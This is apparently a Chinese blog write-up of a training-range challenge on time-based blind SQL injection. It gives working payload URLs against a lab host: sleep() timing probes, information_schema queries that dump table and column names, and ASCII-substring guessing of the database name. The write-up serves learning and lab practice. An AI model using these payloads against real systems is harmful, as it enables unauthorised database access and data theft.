1. 程式人生 > 其它 >WEB安全-SQL注入漏洞測試(時間盲注)

WEB安全-SQL注入漏洞測試(時間盲注)

前言 這是SQL注入的第八篇,之前忙著學校的考試,現在結束了就可以再專心打靶場一段時間了 連結如下:https://www.mozhe.cn/bug/detail/ZEZ4REhOck9KMnVKMjFLTitQWFg5dz09bW96aGUmozhe 正文 首先明確實訓目標和思路 進入題目,發現情況如下,得知是時間盲注,直接上手開始驗證 圖上已經有提示使用?type=進行驗證,不能像之前一樣進行?id=1,正常是先構造閉合,最後發現竟然不需要…… http://219.153.49.228:41617/flag.php?type=1 and sleep(100) %23 1.根據回顯資訊進行注入 判斷資料庫的庫名長度,但是在操作時,發現有回顯,感覺這道題應該不止時間盲注一種方法,尋找注入點
http://219.153.49.228:41617/flag.php?type=1 %23 通過修改1發現下面的名稱也隨之改變,說明1是注入點,通過該注入點獲取資料庫各類資訊 獲取資料庫名為 pentesterlab http://219.153.49.228:41617/flag.php?type=database() %23 獲取資料庫表名為 comment,flag,goods,user http://219.153.49.228:41617/flag.php?type=group_concat(table_name) from information_schema.tables where table_schema=database() %23
獲取flag http://219.153.49.228:41617/flag.php?type=group_concat(column_name) from information_schema.columns where table_name='flag' %23 獲取flag為 mozhe1 http://219.153.49.228:41617/flag.php?type=group_concat(flag) frompentesterlab.flag %23 拿到key 2.時間盲注 判斷資料庫庫名的長度,在爆破中發現12是缺失的,說明是正確的,判斷出資料庫庫名長度為12 http://219.153.49.228:41676/flag.php?type=1 and if(length(database())=10,sleep(10),0) %23
之後爆破資料庫第一個字元為 ascii=112的字元,即為p,之後的操作直接sqlmap,不做贅述 http://219.153.49.228:41676/flag.php?type=1 and if(ascii(substr(database(),1,1))=112,sleep(100),0) %23 總結 做完這些靶場,發現sql注入之所以難,主要因為十分的多樣,每種做題的方式都不同,而且很難找到一種適合自己的做題方式,還是需要多磨練,不能想的太死了 一個小問題 其實在使用第一種方法的時候,剛開始是用單引號作為結束的,但是到拉取表的時候,沒有加#發現始終沒有東西出來,之後看了網上給的資料,發現是直接加#,沒有單引號這一說 後來再次看的時候,用這一串試了一下?type=' %23 ,發現回顯很有意思,如果是雙引號情況也是一樣,但是加了括號後就不行,這裡是前面的引號和後面的形成閉合了?不是很理解